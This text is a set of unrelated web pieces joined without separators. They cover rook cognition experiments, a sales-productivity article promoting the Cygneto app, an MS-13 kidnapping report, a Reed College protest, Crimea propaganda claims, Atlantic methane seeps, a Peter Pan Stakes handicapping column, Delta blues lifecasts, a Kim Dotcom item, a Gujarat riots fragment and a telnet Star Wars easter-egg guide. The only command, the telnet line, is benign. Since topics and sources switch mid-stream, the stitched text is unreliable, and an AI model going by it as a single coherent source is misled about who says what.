Although outside of captivity rooks have not shown probable tool-use, captive rooks have shown the ability to use and understand puzzles. One of the most commonly tested puzzles is the Trap-Tube Problem. Rooks learned how to pull their reward out of the tube while avoiding a trap on one side.[10][11]
In captivity, when confronted with problems, rooks have been documented as one of several species of birds capable of using tools as well as modifying tools to meet their needs.[12] Rooks learned that if they push a stone off a ledge into a tube, they will get food. The rooks then discovered they could find and bring a stone and carry it to the tube if no stone was there already. They also used sticks and wire, and figured out how to bend a wire into a hook to reach an item.[13] Rooks also understood the notion of water levels. When given stones and a tube full of water with a reward floating, they not only understood that they needed to use the stones but also what is the best stone to use.[14]
In one set of experiments, rooks managed to knock a reward off a platform by rolling a stone down a tube toward the base of the platform. Rooks also seemed to understand the idea that a heavier stone will roll quicker and be more likely to knock the platform over. In this same test, rooks showed they understood to pick a stone that was in a shape that rolled easily.[15]
Rooks also show the ability to work together to receive a reward. In order to receive a reward, multiple rooks had to pull strings along the lid of a box in order for it to move and them to reach the reward. Rooks seem to have no preference regarding working as a group comparative to working singularly.[16]
They also seem to have a notion of gravity, comparable to a six-month-old baby and exceeding the abilities of chimpanzees.[17]
Relationship with humans [ edit ]
Automate the Traditional Prospecting methods
Prospecting is one of the most important parts of the sales procedure. Generating effective sales leads through various methods is one of the main aims of prospecting. Traditional prospecting methods include cold calling and batch emailing. However, these methods have become repetitive in the modern times. Hence, this is one of the processes which can be improved through the effective utilization of technology to improve the productivity of the effective man-hours of the sales team.
For instance, consider a sales representative who is very motivated in the prospecting process. He manages to make over 100 cold calls every day over and above shooting cold emails. However, given that the conversion rates of cold calls are very low, such a sales rep is hardly able to generate 30 prospective leads every month. However, his team mate is very techno-savvy and uses automated mailers to shoot emails and calls only those prospects who show interest in the emails. While even this sales rep is able to generate not more than 30 prospective leads every month, his productivity and value addition to the organization is far higher as compared his teammate.
Exploit technology for prospecting – deploy automation
With the advent of modern technology, a large number of sales professionals are turning to professional networking to change the process of prospecting. Professional networking websites like LinkedIn have effectively changed the process of prospecting.
Through professional networking, sales representatives can find out what are the companies which may require the products or services they are selling. Furthermore, they can also research and find out who to contact at the particular company to pitch the sale. So instead of cold calling and mass emailing hundreds of people every day, the modern sales representatives are targeting prospects who are more likely to buy the products or services they sell. The productivity of the sales representatives can be furthered through the effective utilization of technology and the Internet.
Automate Field Sales Reporting
Another aspect of sales which can benefit through the effective utilization of technology and automation is sales reporting. Most sales companies stop after automating the process of prospecting. However, to further the productivity of the sales force, the companies can also automate the process of sales reporting.
Sales reporting is an integral part of sales through which the sales managers predict the ordering patterns and thus manage the stock. However, it is very difficult for a sales manager to keep track of all sales representatives and keep on tracking their sales.
Through the efficient utilization of field sales applications, the process of sales reporting can be automated. All sales representatives can easily update their daily sales reports on their mobile applications. And the sales managers can easily track the sales reports of all the sales representatives from the dashboard of the application. Hence, technology can save the time that the sales managers employ to track the daily sales reports. With more time on their hand, sales managers can create better sales policies to further the sales.
Employ the helping approach rather than the sales approach
Many sales companies are turning towards the helping approach to sales rather than the traditional sales approach. The sales approach guides the sales representative to just increase their sales, regardless of the fact whether or not the consumer needs the product or service. Whereas, the helping approach to sales guides the sales representatives to help the consumers find solutions to their problems through their products and services.
The helping approach to sales is far more effective than the sales approach. Hence, changing the approach of the sales team towards sales can also work wonders in increasing their sales productivity. By helping the customers to solve problems that they face, the sales representative can gain their trust. Hence, forming meaningful and lasting sales relationships would definitely add long-term value while also building the loyalty aspect among the customers. The helping approach to sales also helps in furthering the productivity of the sales force in the long run.
Improve the morale of the sales team
After deploying technology and better sales strategies, the morale of the sales team is one of the most important factors which affect the overall sales. A poor morale of the sales team can lead to the lower performance of the sales team despite the technology being at their disposal.
Sales managers and senior managers should motivate the sales team to improve their morale. Further, even if sometimes the sales team is unable to achieve their targets, appreciating them for trying their best can also improve their morale. A motivated sales force would directly translate to higher sales and increased revenues.
The answer to all your sales woes – Cygneto Field Sales Application
There are a number of field sales applications which can help you increase the productivity of your sales force. However, the Cygneto Field Sales App offers the unique combination of features which can help the sales managers deploy technology to boost sales.
Features like direct reporting, integrated generation of MIS reports, summary email and billing automation through integration with accounting software like tally and SAP, instant order booking, and GPS tracking offer the sales managers complete transparency to the sales process. The sales managers can access the sales information remotely at their convenience and by studying the sales trends they can improvise the sales strategies to further increase the sales.
Other salient features of the Cygneto Field Sales App are as follows:
Mobile and Web App Dashboard
Online and Offline Data Synchronisation capability
Secure Could-based data sharing
Customised Branding
Plainclothes police from Long Island patrolling near Brentwood High School witnessed the gang attacking a 16-year-old boy and attempting to force him into a van, the New York Post reported. Officers moved in and arrested three MS-13 gang members and two affiliates.
Suffolk County Police Commissioner Timothy Sini said all five of the gang members are from El Salvador. Two of the gang members entered the U.S. illegally while three others entered as Unaccompanied Alien Children.
“We do believe they were looking to elevate their status in the MS-13 community by carrying out that murder,” Sini told reporters during a press conference.
The alleged gang members consisted of four males and one female. Three of the Salvadoran teens — Jorge Bermudez Cedillos, 18, Lilliana Villanueva, 17, and Oscar Fuentes, 18 — entered the U.S. illegally and became classified by immigration officials as Unaccompanied Alien Children. The other two — Vidal Contrera-Ortiz, 18, and Miguel Rivera, 20 — entered the U.S. illegally but did not receive the UAC designation, Newsday reported.
Rivera reportedly told police, “We were going to take him somewhere private and beat him to death with the bats.” Officials said Rivera admitted to being a member of the MS-13 “Carleton click.”
The failed kidnapping followed three other gang-related incidents on December 5. Officers stated that young men traveling in a van assaulted three other 16-year-old boys with bats. The three did not end up being kidnapped.
Court records reported by Newsday revealed that Bermudez Cedillos said they would use anything they had in the van to kill their victim.
The female suspect, Villanueva, said she heard Bermudez Cedillos refer to the victim as “18.” Officials speculated that the “18” referred to the rival 18th Street gang.
All of the alleged MS-13 gang members except Rivera attended Brentwood High School along with the victims of the day’s attacks.
“It’s those detectives that foiled the plot to kill a 16-year-old boy,” Sini told reporters. “They held those individuals at the scene at gunpoint, while waiting for a response from patrol.”
The region has been hard hit by MS-13 gang violence. Since 2015, at least 25 people have been killed in gang-related homicides, officials stated.
Prosecutors filed second-degree conspiracy charges against the five gang members. They are being held pending a $250,000 cash bond. It is likely that Immigration and Customs Enforcement officers will place immigration detainers on all five suspects.
Between October 1, 2013, and September 30, 2017, U.S. Customs and Border Protection officials reported 58,438 illegal aliens from El Salvador (the birthplace of MS-13) have been classified as Unaccompanied Alien Children. An additional 48,651 UACs came from Honduras — also a hotbed for MS-13 gang activity. Over the past two years, Border Patrol agents apprehended 93,828 Family Unit Aliens (FMUA). CBP officials define a FMUA as a child under 18 who is apprehended with a family member.
Earlier this month, Breitbart Texas reported on federal records that revealed one-third of MS-13 gang members arrested by law enforcement in recent weeks entered the U.S. as Unaccompanied Alien Children.
"It's our job to disrupt oppressive systems," Tiffany Chang, a sophomore, said Tuesday.
Chang is one of the students who has been occupying the president's office. She's been there, along with other members of a group called Reedies Against Racism, for over a week. The students have actually pitched tents in the offices and hallways of Eliot Hall.
Chang says she is still attending class during the protest. It's more of a revolving occupation -- students take breaks to get food or go to class and other students take over.
What is at issue, for Chang and the other students, is Reed's investment in Wells Fargo, which they say funds racism in the form of things like oil pipelines and immigration detention centers.
Reedies Against Racism has seen several victories as a result of protests in the last year. A required Humanities course will be reviewed early because of their action and the campus has been officially designated a sanctuary, among other things.
Now the group wants to address the college's impact on the wider world.
"Isn't it hypocritical to be a legal sanctuary and still be invested in a bank that supports immigration detention centers?" Chang asked.
Reedies Against Racism has presented a contract, asking the school to divest from Wells Fargo, to the college's president, John Kroger.
Kroger has not signed the contract but has told the students that the Reed College Board of Trustees will look into the issue at their next meeting, in November.
Reedies Against Racism is asking that the change is made immediately.
"We believe there is a moral imperative," Chang said, to change it now. The students say that the Wells Fargo situation represents an emergency and that the school should be able to make the decision to divest unilaterally, without the board's consent.
Addison Bates, a former sophomore, currently on leave from Reed, said that students plan to stay in the office until the contract is signed. And, at least on the surface, the Reed administration appears to be ready to allow that to happen.
In a letter sent out to Reed "students, staff, and faculty" on Tuesday, Kroger wrote, "I have no objection to the current, peaceful sit-in outside my office."
"The meeting area outside my office is a place of symbolic power," he continued, "and thus a reasonable place to express one's political views."
"We are not going to quash this," Reed spokesperson Kevin Myers said on Tuesday.
Myers had mostly positive things to say about Reedies Against Racism.
"They've been incredibly effective," he said, praising the progress they've made in such a short time. "They've really raised the stakes."
There is one issue, however. On Thursday, roughly 20 students entered the treasurer's office, which is down the hall from the president's office.
What happened is disputed by students and staff. The protesters say they were participating a peaceful protest and at the most a passionate exchange. Administrators say students harassed a staff member working in the office.
"Protests," Kroger wrote in his letter, "are not an excuse to treat other human beings poorly. Protesters should conduct themselves with dignity and not resort to harassment."
Students involved in the incident were sent a no-contact order on Tuesday, barring them from contacting staff involved, from going into administrative offices unless on "legitimate business" and prohibiting them from entering "any and all staff offices, unless [they] have received prior consent."
The order is attributed to Mike Brody, Vice-President for Student Services and Brice Smith, Dean of Students.
In the "Consequences for Violation" section of the order, on the bottom of the list which begins with "Referral to the Judicial Board," is "Referral to law enforcement."
For Reed, a community that prides itself on handling issues in-house, using what they call the "Honor Principle" and the above-mention Judicial Board, which works to provide what Myers calls "restorative justice," resorting to police is almost unheard of.
On Facebook, Reedies Against Racism wrote of the order, "The college would rather leverage police intervention and disrupt the ability for students to walk freely through Eliot Hall then admit that Wells Fargo is an unethical bank..."
Students who were issued the order, however, can still camp out in the president's office.
"Nothing in this document is intended to prohibit students from expressing dissent by occupying hallways or the reception area of the president's office," reads the order, "as along as such occupation adheres to all relevant fire codes and safety regulations, and does not present a risk to any Reed community members or campus visitors."
That means the tents and students in the hall could be there for at least another month.
-- Lizzy Acker
Still, Putin needed a story to spin, no matter how full of holes, and thus the neo-Nazi claims. But as it turns out, Crimea’s streets are not exactly paved with extremists—a fact that has proven troublesome for Russian state TV channels looking to find token far-right bogeymen. They’ve had to resort to tricks to get the right characters for Russian audiences—making much, for instance, of Sachko Bilyi, a buffoon who visited a local parliament with his AK-47 machine gun. No one in Ukraine thinks much of Bilyi, other than that he’s a clown, but Russian TV is now claiming that squads made up of thousands of Bilyis are terrorizing Ukraine’s civilians and intimidating MPs.
The Russian media also reported on “skirmishes” on the streets of Crimea and showed a video about “extremists in Crimea attacking Russian soldiers.” As it turns out, the video was actually made on February 20, when close to 100 protesters, aid workers and journalists were shot by snipers in Kiev. That day, several cameramen filmed the terror on location—one of them standing nearby for a very long time. When his video surfaced on Russian TV, purporting to be from Crimea, it made many suspect that the cameraman was from Russia and that Russian journalists may have had an arrangement with the snipers so that they wouldn’t draw fire.
For additional help manufacturing scenes of outrage, Russian provocateurs in Simferopol organized a nice mise-en-scene for Putin’s propaganda machine. A bus filled with people dressed like paramiliatry fighters, toting machine guns and grenade launchers, were filmed by Russian journliasts. It appeared instantly on the Internet and Russian TV channels, labeled as “The Right Sector from the Western Ukraine attacking peaceful Russian citizens and killing soldiers in Crimea.” But if one looks closely, it is possible to make out several important details: the bus from ‘the Western Ukraine’ in fact has a Crimean license plate number, and the fighters are armed with GM-94 grenade launchers and AK-100 machine guns, which are only used by Russian soldiers. Another question: how did Right Sector extremists manage to get to Simferopol on a big bus after all the roads to Crimea were blocked three days ago by armed police and Russian soldiers? Several jounralists tried to pass through the cordons, but in vain. Apparently only armed fighters and extremists can get permission to go to Crimea. Later, Russian consul general Vyacheslav Svetlichnyi dismissed reports of casulaties amongst Russian citizens and soldiers in Crimea as mere rumor.
Then there was the story about how a local state administration in Kharkiv hoisted a Russian flag instead of a Ukrainian one on the local parliamentary building. The rumor went viral thanks to a 25-year-old blogger in Moscow, nicknamed Mika Ronkainen. “Right now! Kharkiv administration was set free and the Russian flag was hoisted. Guess by whom?” he wrote on his social network account. Later, journalists established that Ronkainen likes to be photographed in Nazi uniforms and takes part in the Putin-supported Russian xenophobic movement “Locals”. Apparently the real story was that several buses of Russian “tourists” were taken to Kharkiv to imitate local populations showing enthusiastic support for Russia. They not only hoisted Russian flags, but reportedly beat Ukrainians who expressed indignation at Russian aggression in Crimea.
Among the other potent, but false, myths of the Putin propaganda machine: that panicked Ukrainians are fleeing en masse to Russia to escape the new government in Kiev, and that the Ukrainian army is unfit for combat and soldiers are defecting to the Russian side.
As for the former, lines and crowds at border checkpoints are very hard to fake, so Russian TV instead filmed the line next to the border checkpoint with Poland, labeling it as “thousands of Ukrainains running away to Russia from the far right.” (Ukrainian journalists figured out the real location by noticing that a plate on the checkpoint listed the name of the city of Shegyni, which is on the Polish border.)
And as for the Moscow propagandist rumor that Ukrainian soldiers are clamoring to become Russian citizens, the only ones who seem eager to join Russia’s side are the Berkut riot policement, the ones allegedly involved in the mass murder of protesters in Kiev. Russian citizenship for them is the only hope for salvation from criminal prosecution and prison. Meanwhile, even as the Russian media is reporting that “Ukrainian soldiers went over to the Crimean authorities’ side peacefully and without any shots fired…the majority of them will swear allegiance to local authorities,” in the Ukrainian media, one in fact discovers that several Crimean regiments were approached by the Russian army and that they refused to lay down arms.
An estimated two-thirds of the emissions emanate from sediments at depths where methane-rich ices may be decomposing due to warming waters along the ocean bottom, the researchers say. Effects of these plumes on climate and ocean chemistry are not yet clear, but could extend well beyond the plumes themselves.
Sonar spots
The bubble streams showed up on sonar scans of the sea floor taken between September 2011 and August 2013 during oceanographic expeditions ranging from Cape Hatteras in North Carolina to Georges Bank off Cape Cod. Altogether, researchers analysed data covering a 94,000-square-kilometre arc (an area about the size of Indiana or Hungary) that includes the edge of the continental shelf and the steep slope just seaward of it, says co-author Adam Skarke, a geologist at Mississippi State University in Starkville. Within a distance of about 950 kilometres, the team found about 570 bubble plumes — an astounding number considering that scientists had previously reported only a handful in the region, he notes.
Although some of the plumes extended hundreds of metres above the ocean floor, the bubbles emanating from deep-water sources typically dissolved into the sea long before they could breach the surface, says Skarke.
Methane sources
“I’m not that surprised that people haven’t seen these things before,” says Tim Minshull, an oceanographer at the University of Southampton, UK, who was not involved in the work. “These features are quite narrow, sometimes just a few metres across, and the ocean’s a big place.”
Researchers have not yet collected samples of the bubbles, says Carolyn Ruppel, a geophysicist with the US Geological Survey in Woods Hole, Massachusetts, and a co-author on the study. Nevertheless, they are presumed to contain methane because of their sources, she notes. Some of the shallow-water seeps are likely to be in now-submerged areas that were methane-producing wetlands during the most recent ice age, when sea levels were more than 100 metres lower than they are today.
However, many of the sources along the continental slope lie at cold depths in which ices have formed at high pressures within sea-floor sediments, which once trapped methane produced by microbes living there. These ices may now be slowly breaking down because of the warming of overlying waters, says Skarke. At least one previous study2 has hinted that warming waters are destabilizing methane-rich ices at moderate depths farther south along the US Atlantic coast.
Ocean acidification
Sampling the bubbles, along with the waters in and around the plumes, will help scientists to estimate the effects of the methane emissions, says Skarke. The gas reacts with, and thereby diminishes, dissolved oxygen, a process that creates carbon dioxide that will tend to acidify surrounding waters.
“This is a very careful study that lays the groundwork for further research,” says Ronald Cohen, a geologist at the Carnegie Institution for Science in Washington DC, who was not involved in the study. Among other things, he notes, “scientists would like to know what these sources are, how much methane they’re producing, and how those sources vary over time.”
Although Skarke and his colleagues suspect that warming waters may be boosting rates of methane emission, the amounts of carbonate minerals seen at some deep sites visited by remotely operated vehicles — which are created by methane-munching microbes and typically accumulate at less than 5 centimetres per 1,000 years — suggest that some of the seeps have been active for a millennium or more.
The Peter Pan, which is run at nine furlongs and carries a purse of $200,000, is the perfect and traditional prep race for the third leg of the Triple Crown, Belmont Stakes.
Named after Hall of Fame inductee Peter Pan, who was champion three year old way back in 1907, the list of past winners is quite impressive and includes Gallant Man (1957), Coastal, who would spoil the great Spectacular Bid’s Triple Crown quest in 1979, the gorgeous Tap Shoes (1981), another gorgeous specimen Slew O’ Gold took his bowed neck to the finish line first in 1983. Eventual Breeders Cup Classic winners Proud Truth (1985), super sire Seeking the Gold (1988), the great A.P Indy (1992), and the speedy Twining in 1994.
More recently, Alternation won this race in 2011 and Mark Valeski last year.
Belmont Park – Saturday, May 11, 2013
Race 9 – 5:17 PM
Peter Pan Stakes (Grade 2)
Purse $200,000
For Three Year Olds
One And One Eighth Miles
P# PP Horse A/S Med Jockey Wgt Trainer M/L 1 1 Freedom Child 3/R L L Saez 116 T Albertrani 12/1 2 2 My Name Is Michael 3/C L J Alvarado 116 W I Mott 10/1 3 3 Battier 3/C L J Rosario 118 T A Pletcher 8/1 4 4 Fear the Kitten 3/C L R Maragh 116 M J Maker 12/1 5 5 Abraham 3/C L J R Velazquez 116 T A Pletcher 7/2 6 6 Narvaez 3/G L C H Velasquez 116 A C Bezara 15/1 7 7 Saint Vigeur 3/C L J Castellano 116 C C Brown 6/1 8 8 Declan’s Warrior 3/C L J Lezcano 118 N P Zito 4/1 9 9 Go Get the Basil 3/C L I Ortiz, Jr. 116 R A Violette, Jr. 20/1 10 10 Incognito 3/C M J Luzzi 116 K P McLaughlin 5/1 11 11 Infinite Magic 3/C L1 E S Prado 118 R Ribaudo 12/1
Analysis:
1) Declan’s Warrior– closed with a rush to win the Bay Shore Stakes by a head after being carried out five wide on the turn for home in his (impressive) last race.
Overall, he is 3 for 4 in his career (and a neck shy of being unbeaten) with all three of those wins having been “from out of the clouds” come from behind wins….which just so happens to be my favorite my running style.
Anyway, He’s recorded two strong works (4/25- 6F- 1:15 and 5/4- 4F- :48 both at Saratoga) since the Bayshore and, provided he gets a solid pace in front of him, he should be rolling down the stretch to catch some tiring front runners in this race too.
The only glaring concern is that he tries a distance of ground for the first time.
“Obviously, the good thing is, we’ve always thought he was a terrific horse,” said trainer Nick Zito. “He’s getting better, and this is a good time to be getting better. It’s a good time to stretch him out.”
“He’s doing very well,” Zito added. “We’re not really looking at this as a prep for the Belmont, but as a stakes race in its own right. He’s a good horse, and down the road he’s got a great future and a great career.”
2) Fear the Kitten– is 0 for 4 this year but, in all fairness, he’s chased runaway winners in his first two starts (Oxbow in the LeComte Stakes and Superninetynine in the Southwest Stakes) then closed well to finish just 3 3/4 lengths behind Black Onyx (Spiral Stakes) and then closed even stronger to finish a close fifth to Java’s War in the Bluegrass.
On paper at least, he faces no such rivals in this race, so you could look at it like he stepping down in class. That, to me, looks exactly like what he might need.
He is another who should be coming late in this race….and if the top choice can’t negotiate the stretch out in distance, then this guy becomes even more dangerous.
3) Abraham– I had a very difficult time trying to choose between this horse and Battier for my third choice but, in the end, I used one of the very basic handicapping rules to make my final decision.
That rule being, if your stuck between trying to separate two horses, take the horse that dropping down in company as opposed to stepping up in company.
That exactly the situation we have here….Abraham bobbled at the break of the Illinois Derby, (that’s the $750,000 Illinois Derby by the way) and quickly found himself towards the back of the pack (seventh). But he made a huge move on the turn to get himself into contention (third) but understandably tired from that effort and couldn’t sustain the rally and wound up fourth.
Looking back two races shows he battled with (runaway winner) Govenor Charlie early in the Sunland Park Derby (that’s the $800,000 Sunland Park Derby by the way) and held fairly well by finishing third.
“I haven’t really looked at this as a Belmont prep, but as a nice race on its own,” said trainer Todd Pletcher. “Abraham ran a very good race in the Illinois Derby; he had a pretty difficult trip through no one’s fault. He’s an improving horse”
I expect a good race from this son of Distorted Humor on Saturday afternoon with the drop in company and assuming he gets a better start than in that last race.
Honorable Mentions:
The aforementioned Battier, who circled the field while going four wide at the head of the stretch to win his last (an overnight handicap at Aqueduct). He steps up in company come Saturday afternoon but you have to respect a horse who a) has speed figures that have improved in every race since his first and b) has never been worse than second in six lifetime starts. Infinite Magic is the proverbial dark horse having never even run on the traditional dirt surface and having just one race in this country. All told, He’s had six career races (five across the pond and on polytrack and one on the grass) and this colt by More Than Ready has only been off the board one time. That win on the grass (at Keeneland) was ultra impressive. He was taken back to last early on but just exploded down the lane to get his nose on the wire first. Lastly, if you use distance change in your handicapping process (the cut back in distance angle…like I do), then you have to like the fact he’s won at a longer distance. (Feb 1, in England at 1 ¼ miles)
“It’d be easy to keep him on the grass—there’s a grass overnight stakes on the same day as the Peter Pan—but when people invest money and take shots with 3-year-olds they’re hoping they can do something they haven’t done yet,” said trainer Bobby Ribaudo. “It’d be nice to see if he can handle the dirt, and then there’d be a lot of options for him.
“You don’t want to compare him to Animal Kingdom, but Barry Irwin did the same thing with Animal Kingdom, and everyone thought he was nuts,” Ribaudo added. “He ran on the synthetic, and the next thing you know he’s in the Kentucky Derby on the dirt and he wins.”
Good point Mr. Ribaudo, but this horse has a loooong way to go before we start comparing him with Animal Kingdom….12-1 on the morning line? Hey, listen, that’s not bad value…longshot possibility?
Incognito has now run huge (and recorded high speed figures in the process) in his last three in a row but steps up in company. “We know Incognito wants 1 1/2 miles,” said trainer Kiaran McLaughlin. “It’s a great tune up for an important race, and we think Incognito could go on to the Belmont if he runs well.”
My Name is Michael, seems to have gone off form in his last two and notice that six of seven career starts have been on synthetics. That being said, it’s that one race in his career that he had on the conventional dirt surface that’s getting my attention. Take a look at it and you’ll see he “closed fast too late” (to Derby runner Falling Sky) in the Sam F. Davis at Tampa Bay Downs. If he duplicates that race on the Belmont surface (which he might) he’s got an outside shot in this race.
Record: 9-24 = 38%
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Little Bets N’ Pieces
**** NBC Sports reported about 16.2 million viewers tuned in to watch the Kentucky Derby last week which was a 9% increase from 2012 and the second-highest number since 1989, according to The Nielsen Ratings
The top 10 markets for viewers were:
1) Louisville, Ky. (of course)
2) Ft. Myers, Fla.
3) Cincinnati, Ohio
4) Knoxville, Tenn., and West Palm Beach, Fla. (in a tie)
6) Buffalo, N.Y.
7) Oklahoma City, Ok
8) Columbus, Ohio
9) Indianapolis, Ind.
10) Nashville, Tenn.
I found these statistics strange being that most of the cities listed; do not have a horse race track anywhere in their respective vicinities
**** Speaking of the 2013 Kentucky Derby, the winner, Orb, was on the track at his home base BelmontPark for the first time since his dominate win last weekend.
The Malibu Moon colt jogged a mile with Jenn Patterson aboard.
“The weather was terrible, so instead of galloping, he just jogged,” trainer Shug McGaughey said. “It was a pretty miserable morning when he went out. But Jenn said he was feeling good and moving good. All signs are good”.
“I thought he jogged really well,” McGaughey added. “I was pleased with what I saw. Seemed to be good and settled in, wasn’t all frazzled. He’s been eating really, really well since Saturday. It seems to me that all systems are ‘go.'”
Though training plans changed due to the muddy track, McGaughey said Orb will gallop Thursday, rain or shine, and is likely to breeze May 13 before shipping to Pimlico the following day.
**** Nehro, runner-up in the 2011 Kentucky Derby, died of colic on Kentucky Derby Day while en route to the hospital
Trainer Steve Asmussen said the 5-year-old horse by Mineshaft fell ill Saturday morning and his condition “quickly spiraled badly.”
“I can’t put into words how much respect I have for Nehro,” Asmussen said. “He was loved by everyone around the barn. What a cool horse. Quality animal. Just a horrible, horrible deal.”
“I am deeply saddened,” owner Ahmed Zayat said. “Nehro was my favorite horse, whom I had a deep bond with. Everyone who came into contact with this horse loved him. He cannot be replaced, and I’m devastated.”
Along with his late running second (by three-quarters of a length to Animal Kingdom) in the Kentucky Derby, Nehro finished runner-up in the Arkansas Derby, Louisiana Derby, and the Pimlico Special.
**** Not to go unnoticed, 2012 Horse of the Year Wise Dan ran his winning streak to six races in a row as he cruised to victory in the Woodford Reserve Turf Classic over yielding turf course on the under-card of the Kentucky Derby last Saturday at Churchill Downs
Breaking from the far outside post, Wise Dan rated back in third position on the outside of pacesetters Silver Max and Optimizer early before his move at quarter pole and, for all intensive purposes, the race was over at that point as the now six year old chestnut gelding drew away down the stretch to win by 4 ¾’s lengths and completed the 1 1/8 miles in 1:51.4.
Jockey JJ Lezcano replaced regular rider John Velazquez aboard Wise Dan in the Woodford Reserve because Velazquez was committed to ride Point of Entry.
“He responded like a champion today,” said Lezcano. “He responded very well when I asked him for run. I had a perfect trip and he felt very comfortable out there. Last time, I had to keep him closer to a slow pace and today I was able to relax him on the backside.”
“What I worried about more than anything was it being slick,” trainer Charles LoPresti said. “That’s what I saw in the race. He was having trouble on the first turn. I could see he was having trouble getting hold of it down the backside. I told Lezcano the most important thing is to make sure he’s handling it good and to take care of him and save him until you really need to run as long as he’s getting a hold of it and he did perfect. He never hit him, because that’s what I told him.”
LoPresti said Wise Dan would now rest up until the summer meet at Saratoga Race Course.
**** In a very sad bit of news, Betfair Hollywood Park told the California Horse Racing Board it won’t seek 2014 racing dates and will close permanently at the end of its fall meet Dec. 22.
Theclosure announcement was written and sent by HollywoodPark president Jack Liebau, who said the CHRB was informed this past Wednesday.
Hollywood’s announcement comes two weeks (May 23) before the CHRB is to begin consideration of race dates for the 2014 season.
The track is owned by Hollywood Park Land Co. and it has been slated for closure and redevelopment for years, but the project has stalled.
“When HollywoodPark was purchased in 2005 from Churchill Downs Inc., the Land Company stated that racing would continue for a minimum of three years, and promised that during the three-year period, a concerted effort would be made to improve racing’s business model,” Liebau said in the letter. “Without success, (the company) spent millions on two statewide initiatives that would have brought slot machines to Hollywood Park, and thereby assured the continuation of racing”.
“In the absence of a favorable change in racing’s business model, the ultimate development of the Hollywood property was inevitable. Sadly for we who love racing and HollywoodPark, it was simply a matter of time.”
Liebau acknowledged the “period of uncertainty” created problems for the horse racing industry in California.
“Over the next few months, the logistics of the pending closure will be worked out,” Liebau said. “You will be kept advised of the plans.”
The CHRB and horsemen in the state have been working on a contingency plan in case HollywoodPark closed. As of now it appears Santa Anita Park and Del Mar will race most of the dates in Southern California.
Fairplex Park, which has expressed interest in providing a year-round off-track training facility and San Luis Rey Downs, in Northern California, and announced plans to renovate its barn area and track beginning next month for expansion of its off-track training capability, also remain possibilities as a racing venue.
Keeping Delta Blues Figures Alive
Full lists of Artists
Othar Turner Blues fife and drum legend Othar "Otha" Turner.
Othar Turner Lifecast Sharon McConnell's lifecast of Othar Turner used to create a bronze sculpture.
T-Model Ford Mississippi native bluesman, T-Model is known for his raw style.
T-Model Ford Lifecast Lifecast of James Lewis Carter "T-Model" Ford.
"Little Bill" Wallace Mississippi Blues Trail inductee and Delta blues leader Alex "Little Bill" Wallace.
Little Bill Wallace Lifecast Lifecast of Blues legend Little Bill Wallace just a few years before he passed away.
Dorothy Moore Jackson, MS native and one of Malaco Records most successful artists.
Dorothy Moore Lifecast Lifecast of Dorothy Moore, singer of "Misty Blue."
Sam Carr One of the Delta's and the Blue's best drummers.
Sam Carr Lifecast Legendary blues drummer and bandleader, Sam Carr. Cast in 2003 by Sharon McConnell.
Little Milton Seasoned blues man and Stax Records artist, molded by the great Sam Philips and the delta sound.
Little Milton Lifecast Cast of Little Milton Campbell by Sharon McConnell.
Reverend Moore Rev. Arnold 'Gatemouth' Moore, known for his song "Did You Ever Love a Woman?" and gospel voice that earned him the monicker Reverand before becoming an ordained minister.
Reverend Moore Reverend Moore's lifecast was made just one year before he passed away.
John Hammond Active recording and tourist artist from the New York area. Played a great part in the revival of early blues style.
John Hammond Lifecast Lifecast of John Hammond completed by Sharon McConnell.
Tommy Carter Skilled musician part of groups known best for covering popular songs of the 50's, including B.B. King and Muddy Waters.
Tommy Carter Lifecast Lifecast of William "Tommy" Carter.
Virgil Brawley Experienced musician and part of the Juvenators from the Jackson, MS area.
Virgil Brawley Lifecast Lifecast of MS Native Virgil Brawley.
R.L. Burnside Robert Lee Burnside, found his fame later in life and was taught by Mississippi Fred McDowell.
R.L. Burnside Lifecast Cast of Robert Lee Burnside.
Morris Cummings Blind Mississippi Morris Cummings hails from Clarksdale, MS but now lives and performs in Memphis, TN.
Morris Cummings Lifecast Lifecast of fellow blind artist, Blind Mississippi Morris Cummings.
Jessie Mae Hemphil Famed electric guitarist and Como, MS native.
Jessie Mae Hemphil Lifecast of Beale Street musician Jessie Mae Hemphil.
Vasti Jackson Famous blues coverman Vasti Jackson puts huge amounts of soul into his performances.
Vasti Jackson Lifecast Lifecast of Vasti Jackson (pronounced Vas-Tye)
Paul Wine Jones Blues musician and manager Paul Wine Jones passed away at an early age of 59.
Paul Wine Jones Lifecast Lifecast of Fat Possum Records artist Paul Wine Jones.
Bud Spires One of the South's best Mississippi Sax players.
Bud Spires Lifecast Bud Spires cast by Sharon McConnell-Dickerson.
Alvin Youngblood Hart Grammy Award winning Artist influenced by country blues.
Alvin Youngblood Hart Lifecast of the still young "Youngblood" Hart by Sharon McConnell.
The reason she is surprised isn’t because she thought Kim Dotcom was too clever to be caught. Instead, she was convinced his weight problems and body mass index (BMI) would be his undoing. As you can see from pictures of Dotcom, he has always had a weight problem and surely classes as obese.
We have also learned from an e-mail he sent, that Dotcom did have a sense of humor and tried to be friendly with the people living around him. When he found out his neighbors were sending concerned emails to each other discussing his criminal past, he responded in an attempt to alleviate their fears. He pointed out his hacking conviction was 15 years ago, and his insider trading was a decade old. All he wants is a “a chance to do good for New Zealand and possibly the Neighborhood.”
His neighbors may have given him a chance if it wasn’t for the last line of the email, which read, “If you feel like it come over for coffee sometimes[sic]. And don’t forget to bring the cocaine (joke).”
In the end, his neighbors fears turned out to be true, and Kim Dotcom is now facing piracy charges, which he has pleaded not guilty to. So far he’s been unable to secure bail, and every day he doesn’t, his Modern Warfare 3 ranking is going to get worse.
against chief minister
and others implicating them in the 2002 riots is "a fiction", the Supreme Court-appointed special investigation team ( SIT ) claimed before the court on Wednesday.
This Easter egg has been around since the days of Windows XP, and it is possible to replicate in Windows 10 too! Albeit you have to go through one minor detour to make this possible, you aren’t a true Star Wars fan if you haven’t seen Star Wars Episode 4 in ASCII!
I know a lot of you might be surprised at learning about this, so lets get to the point.
STEP 1:
Press Windows Key + S and search for the Control Panel.
STEP 2:
Click on Programs
From here, you have to click on “Turn Windows Features On or Off”
STEP 3:
You will get a new box showing you the following options, navigate down until you find Telnet Client. You will check the box, and click on OK. Should UAC ask for permission, permit it to run.
STEP 4:
Now comes the important part, run command prompt which ever way you wish. You can bring it up by using Windows Key + R and typing in cmd, or Windows Key + S and typing in cmd.
When you see the prompt, simply type in the following line of text as is, including the space between Telnet and Towel.
Telnet Towel.blinkenlights.nl
Once you press enter, be prepared for the experience of a lifetime!
NOTE: While the title says Windows 10, this is possible to replicate on any OS after Windows XP by following the above steps, the main focus should be on enabling the Telnet Client, which most commonly is done in Vista, 7 and 8 the same way.
